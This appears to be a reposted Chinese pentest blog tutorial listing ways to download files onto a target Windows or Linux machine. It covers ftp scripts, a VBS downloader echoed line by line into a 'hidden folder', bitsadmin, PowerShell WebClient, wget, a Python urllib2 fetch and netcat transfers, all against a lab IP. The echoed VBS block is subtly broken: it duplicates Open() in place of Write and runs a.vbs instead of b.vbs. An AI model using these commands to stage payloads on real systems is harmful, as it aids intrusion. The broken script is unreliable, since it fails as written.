赞
踩
声明:本文介绍的技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可传播相关技术及工具从事违法犯罪行为,一经发现直接上报国家安全机关处理
没有跳转的均没有演示,可参考文章或自行百度
安装IIS服务器
在C:\inetpub\wwwroot
网站目录下放一个www.rar文件并且浏览器能够访问到
用echo生成txt文件,ip用户名密码均为目标机的,如下:
输入ftp -s:ftp.txt
执行该文件,成功下载1.rar
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.70.128/www.rar",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.ResponseBody)
sGet.SaveToFile "C:\Users\sq\Desktop\a\www.rar",2
然後双击执行,压缩文件就被下载了
但人家电脑里不会有这种文件需要你自己生成,方法如下:
进入到一个隐蔽的文件夹,然后用echo语句按顺序输入代码生成vbs脚本,如:
echo Set xPost=createObject("Microsoft.XMLHTTP")>>b.vbs
echo xPost.Open "GET","http://192.168.70.128/www.rar",0 >>b.vbs
echo xPost.Send()>>b.vbs
echo set sGet=createObject("ADODB.Stream")>>b.vbs
echo sGet.Mode=3>>b.vbs
echo sGet.Type=1>>b.vbs
echo sGet.Open()>>b.vbs
echo sGet.Open()>>b.vbs
echo sGet.SaveToFile "C:\Users\sq\Desktop\a\www.rar",2 >>b.vbs
脚本生成后输入cscript a.vbs
执行就可以下载了
环境同上,直接输入bitsadmin /transfer n http://192.168.70.128/www.rar C:\Users\sq\Desktop\a\www.rar
即可实现下载
成功下载
环境同上,在搜索框中输入p然后以管理员身份运行poershell
在命令行中依次打入
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.70.128/www.rar','C:\Users\sq\Desktop\www.rar')
前面是网站路径,后面是保存路径,文件名可换
这个使用起来很简单,直接输入wget+网址就可以了,加-p参数还可以指定文件夹,如果文件夹不存在会自动创建
这个命令需要在网址后加–output参数,后面跟文件名即可
创建一个xiazai.py文件修改地址然后执行即可,python代码如下:
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://192.168.70.128/www.rar')
localFile = open('1.rar', 'w')
localFile.write(u.read())
localFile.close()
这个方法需要两台机器都有nc,然后目标服务器开放端口,自己在进行接收就可以了,方法如下:
我们开启两个终端,当做是两台服务器,目标端输入cat 1.rar | nc -lvvp 1234
开始监听,本地输入nc 127.0.0.1 1234 > 1.rar
接收
注意:这里因为是一台机器演示所以用127.0.0.1,真实情况换成网站地址或ip即可,还有执行完后它不会自动退出,你感觉下载完了就Ctrl+C终止
下完后我们可以ls -l
看一下文件字节数是否相同
欢迎关注公众号,原创不易,转载请注明来源哦
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/175362
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。